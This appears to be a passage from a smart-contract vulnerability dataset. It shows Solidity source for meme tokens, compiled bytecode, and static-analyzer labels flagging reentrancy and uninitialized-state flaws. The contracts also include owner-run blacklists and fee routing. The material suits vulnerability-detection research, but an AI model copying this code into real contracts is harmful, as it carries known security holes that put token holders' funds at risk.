_transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461030a578063a9059cbb14610335578063c3c8cd8014610372578063c9567bf914610389578063dd62ed3e146103a057610109565b80636fc3eaec1461027457806370a082311461028b578063715018a6146102c85780638da5cb5b146102df57610109565b80632ab30838116100d15780632ab30838146101de578063313ce567146101f5578063325b3b18146102205780635932ead11461024b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103dd565b6040516101309190612426565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061202f565b61041a565b60405161016d919061240b565b60405180910390f35b34801561018257600080fd5b5061018b610438565b6040516101989190612548565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611fdc565b610448565b6040516101d5919061240b565b60405180910390f35b3480156101ea57600080fd5b506101f3610521565b005b34801561020157600080fd5b5061020a6105c7565b60405161021791906125bd565b60405180910390f35b34801561022c57600080fd5b506102356105d0565b6040516102429190612548565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d919061206f565b6105d6565b005b34801561028057600080fd5b50610289610688565b005b34801561029757600080fd5b506102b260048036038101906102ad9190611f42565b6106fa565b6040516102bf9190612548565b60405180910390f35b3480156102d457600080fd5b506102dd61074b565b005b3480156102eb57600080fd5b506102f461089e565b604051610301919061233d565b60405180910390f35b34801561031657600080fd5b5061031f6108c7565b60405161032c9190612426565b60405180910390f35b34801561034157600080fd5b5061035c6004803603810190610357919061202f565b610904565b604051610369919061240b565b60405180910390f35b34801561037e57600080fd5b50610387610922565b005b34801561039557600080fd5b5061039e61099c565b005b3480156103ac57600080fd5b506103c760048036038101906103c29190611f9c565b610efd565b6040516103d49190612548565b60405180910390f35b60606040518060400160405280600781526020017f5a6f726f496e7500000000000000000000000000000000000000000000000000815250905090565b600061042e610427610f84565b8484610f8c565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610455848484611157565b61051684610461610f84565b61051185604051806060016040528060288152602001612afa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c7610f84565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144b9092919063ffffffff16565b610f8c565b600190509392505050565b610529610f84565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ad906124c8565b60405180910390fd5b670de0b6b3a7640000601081905550565b60006009905090565b600f5481565b6105de610f84565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610662906124c8565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c9610f84565b73ffffffffffffffffffffffffffffffffffffffff16146106e957600080fd5b60004790506106f7816114af565b50565b6000610744600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151b565b9050919050565b610753610f84565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d7906124c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5a4f524f00000000000000000000000000000000000000000000000000000000815250905090565b6000610918610911610f84565b8484611157565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610963610f84565b73ffffffffffffffffffffffffffffffffffffffff161461098357600080fd5b600061098e306106fa565b905061099981611589565b50565b6109a4610f84565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a28906124c8565b60405180910390fd5b600e60149054906101000a900460ff1615610a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7890612528565b60405180910390fd5b42600f819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610f8c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5d57600080fd5b505afa158015610b71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b959190611f6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf757600080fd5b505afa158015610c0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2f9190611f6f565b6040518363ffffffff1660e01b8152600401610c4c929190612358565b602060405180830381600087803b158015610c6657600080fd5b505af1158015610c7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9e9190611f6f565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d27306106fa565b600080610d3261089e565b426040518863ffffffff1660e01b8152600401610d54969594939291906123aa565b6060604051808303818588803b158015610d6d57600080fd5b505af1158015610d81573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da691906120c9565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555066470de4df8200006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ea7929190612381565b602060405180830381600087803b158015610ec157600080fd5b505af1158015610ed5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef9919061209c565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff390612508565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106390612468565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114a9190612548565b60405180910390a3505050565b6000811161119a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611191906124e8565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111f157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461143b576001600a819055506003600b81905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156112df5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113355750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561134d5750600e60179054906101000a900460ff165b1561137a57610384600f54611362919061262d565b4210156113795760105481111561137857600080fd5b5b5b6000611385306106fa565b9050600e60159054906101000a900460ff161580156113f25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561140a5750600e60169054906101000a900460ff165b156114395761141881611589565b6000479050670429d069189e000081111561143757611436476114af565b5b505b505b611446838383611811565b505050565b6000838311158290611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a9190612426565b60405180910390fd5b50600083856114a2919061270e565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611517573d6000803e3d6000fd5b5050565b6000600854821115611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612448565b60405180910390fd5b600061156c611821565b9050611581818461184c90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156115c1576115c0612869565b5b6040519080825280602002602001820160405280156115ef5781602001602082028036833780820191505090505b50905030816000815181106116075761160661283a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116a957600080fd5b505afa1580156116bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e19190611f6f565b816001815181106116f5576116f461283a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061175c30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f8c565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016117c0959493929190612563565b600060405180830381600087803b1580156117da57600080fd5b505af11580156117ee573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61181c838383611896565b505050565b600080600061182e611a61565b91509150611845818361184c90919063ffffffff16565b9250505090565b600061188e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ac0565b905092915050565b6000806000806000806118a887611b23565b95509550955095509550955061190686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e781611c33565b6119f18483611cf0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a4e9190612548565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a76400009050611a95670de0b6b3a764000060085461184c90919063ffffffff16565b821015611ab357600854670de0b6b3a7640000935093505050611abc565b81819350935050505b9091565b60008083118290611b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afe9190612426565b60405180910390fd5b5060008385611b169190612683565b9050809150509392505050565b6000806000806000806000806000611b408a600a54600b54611d2a565b9250925092506000611b50611821565b90506000806000611b638e878787611dc0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bcd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144b565b905092915050565b6000808284611be4919061262d565b905083811015611c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2090612488565b60405180910390fd5b8091505092915050565b6000611c3d611821565b90506000611c548284611e4990919063ffffffff16565b9050611ca881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d0582600854611b8b90919063ffffffff16565b600881905550611d2081600954611bd590919063ffffffff16565b6009819055505050565b600080600080611d566064611d48888a611e4990919063ffffffff16565b61184c90919063ffffffff16565b90506000611d806064611d72888b611e4990919063ffffffff16565b61184c90919063ffffffff16565b90506000611da982611d9b858c611b8b90919063ffffffff16565b611b8b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611dd98589611e4990919063ffffffff16565b90506000611df08689611e4990919063ffffffff16565b90506000611e078789611e4990919063ffffffff16565b90506000611e3082611e228587611b8b90919063ffffffff16565b611b8b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e5c5760009050611ebe565b60008284611e6a91906126b4565b9050828482611e799190612683565b14611eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb0906124a8565b60405180910390fd5b809150505b92915050565b600081359050611ed381612ab4565b92915050565b600081519050611ee881612ab4565b92915050565b600081359050611efd81612acb565b92915050565b600081519050611f1281612acb565b92915050565b600081359050611f2781612ae2565b92915050565b600081519050611f3c81612ae2565b92915050565b600060208284031215611f5857611f57612898565b5b6000611f6684828501611ec4565b91505092915050565b600060208284031215611f8557611f84612898565b5b6000611f9384828501611ed9565b91505092915050565b60008060408385031215611fb357611fb2612898565b5b6000611fc185828601611ec4565b9250506020611fd285828601611ec4565b9150509250929050565b600080600060608486031215611ff557611ff4612898565b5b600061200386828701611ec4565b935050602061201486828701611ec4565b925050604061202586828701611f18565b9150509250925092565b6000806040838503121561204657612045612898565b5b600061205485828601611ec4565b925050602061206585828601611f18565b9150509250929050565b60006020828403121561208557612084612898565b5b600061209384828501611eee565b91505092915050565b6000602082840312156120b2576120b1612898565b5b60006120c084828501611f03565b91505092915050565b6000806000606084860312156120e2576120e1612898565b5b60006120f086828701611f2d565b935050602061210186828701611f2d565b925050604061211286828701611f2d565b9150509250925092565b60006121288383612134565b60208301905092915050565b61213d81612742565b82525050565b61214c81612742565b82525050565b600061215d826125e8565b612167818561260b565b9350612172836125d8565b8060005b838110156121a357815161218a888261211c565b9750612195836125fe565b925050600181019050612176565b5085935050505092915050565b6121b981612754565b82525050565b6121c881612797565b82525050565b60006121d9826125f3565b6121e3818561261c565b93506121f38185602086016127a9565b6121fc8161289d565b840191505092915050565b6000612214602a8361261c565b915061221f826128ae565b604082019050919050565b600061223760228361261c565b9150612242826128fd565b604082019050919050565b600061225a601b8361261c565b91506122658261294c565b602082019050919050565b600061227d60218361261c565b915061228882612975565b604082019050919050565b60006122a060208361261c565b91506122ab826129c4565b602082019050919050565b60006122c360298361261c565b91506122ce826129ed565b604082019050919050565b60006122e660248361261c565b91506122f182612a3c565b604082019050919050565b600061230960178361261c565b915061231482612a8b565b602082019050919050565b61232881612780565b82525050565b6123378161278a565b82525050565b60006020820190506123526000830184612143565b92915050565b600060408201905061236d6000830185612143565b61237a6020830184612143565b9392505050565b60006040820190506123966000830185612143565b6123a3602083018461231f565b9392505050565b600060c0820190506123bf6000830189612143565b6123cc602083018861231f565b6123d960408301876121bf565b6123e660608301866121bf565b6123f36080830185612143565b61240060a083018461231f565b979650505050505050565b600060208201905061242060008301846121b0565b92915050565b6000602082019050818103600083015261244081846121ce565b905092915050565b6000602082019050818103600083015261246181612207565b9050919050565b600060208201905081810360008301526124818161222a565b9050919050565b600060208201905081810360008301526124a18161224d565b9050919050565b600060208201905081810360008301526124c181612270565b9050919050565b600060208201905081810360008301526124e181612293565b9050919050565b60006020820190508181036000830152612501816122b6565b9050919050565b60006020820190508181036000830152612521816122d9565b9050919050565b60006020820190508181036000830152612541816122fc565b9050919050565b600060208201905061255d600083018461231f565b92915050565b600060a082019050612578600083018861231f565b61258560208301876121bf565b81810360408301526125978186612152565b90506125a66060830185612143565b6125b3608083018461231f565b9695505050505050565b60006020820190506125d2600083018461232e565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061263882612780565b915061264383612780565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612678576126776127dc565b5b828201905092915050565b600061268e82612780565b915061269983612780565b9250826126a9576126a861280b565b5b828204905092915050565b60006126bf82612780565b91506126ca83612780565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612703576127026127dc565b5b828202905092915050565b600061271982612780565b915061272483612780565b925082821015612737576127366127dc565b5b828203905092915050565b600061274d82612760565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127a282612780565b9050919050565b60005b838110156127c75780820151818401526020810190506127ac565b838111156127d6576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612abd81612742565b8114612ac857600080fd5b50565b612ad481612754565b8114612adf57600080fd5b50565b612aeb81612780565b8114612af657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ea97db8eb7a05778b6398e43227b3f8135900ba61159d38353966c62766898a464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,586
0xe889f26ef43ae38f25a93a1f50771d4009ddd6a2
/* Website: https://dragonage.finance Telegram: https://t.me/DragonAgeERC20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Pair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } contract DragonAge is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint256) private sellcooldown; mapping (address => uint256) private buycooldown; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _ATHPrice; uint256 private _ATHResetPrice; uint256 private _ATHResetPercent; uint256 private _maxTxAmount = _tTotal; uint8 private _devFee = 4; uint8 private _ATHFee = 6; address payable private _devWallet; address payable private _ATHWallet; string private constant _name = unicode"Dragon Age"; string private constant _symbol = "DRAGONAGE"; uint8 private constant _decimals = 18; IUniswapV2Router02 private uniswapV2Router; IUniswapV2Pair private uniswapV2Pair; address private _uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event ATHUpdated(uint256 _ATHPrice, address _ATHWallet); event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } receive() external payable {} constructor () { _devWallet = payable(_msgSender()); _ATHWallet = payable(0); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devWallet] = true; _ATHPrice = 0; _ATHResetPrice = 0; _ATHResetPercent = 60; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function ATHPrice() public view returns (uint256) { return _ATHPrice; } function ATHWallet() public view returns (address) { return _ATHWallet; } function pairAddress() public view returns (address) { return _uniswapV2Pair; } function ATHResetPrice() public view returns (uint256) { return _ATHResetPrice; } function maxTxAmount() public view returns (uint256) { return _maxTxAmount; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if (owner != address(this)) { require(tradingOpen, "Trading not open yet"); } _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == _uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { // Buying require(tradingOpen); require(amount <= _maxTxAmount, "Buy amount exceeds max TX amount"); require(buycooldown[to] < block.timestamp, "Buying again too soon"); sellcooldown[to] = block.timestamp + (5 minutes); buycooldown[to] = block.timestamp + (3 minutes); uint256 currentPrice = getPrice(); if (currentPrice > _ATHPrice) { // new ATH has been reached _ATHWallet = payable(to); _ATHPrice = currentPrice; _ATHResetPrice = currentPrice.sub(currentPrice.mul(_ATHResetPercent).div(10**2)); emit ATHUpdated(_ATHPrice, _ATHWallet); } } if (from == _ATHWallet) { // Our ATH wallet holder is selling/transferring, // reset price so next buyer becomes ATH holder. _ATHPrice = 0; _ATHWallet = payable(0); emit ATHUpdated(_ATHPrice, _ATHWallet); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _uniswapV2Pair && swapEnabled) { require(sellcooldown[from] < block.timestamp, "Selling too soon"); // Check to see if price has gone below ATH Reset price. uint256 currentPrice = getPrice(); if (currentPrice < _ATHResetPrice) { _ATHPrice = 0; _ATHWallet = payable(0); _ATHResetPrice = 0; } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0 && _ATHWallet != address(0)) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _devWallet.transfer(amount.div(2)); _ATHWallet.transfer(amount.div(8)); } function createPair() public onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 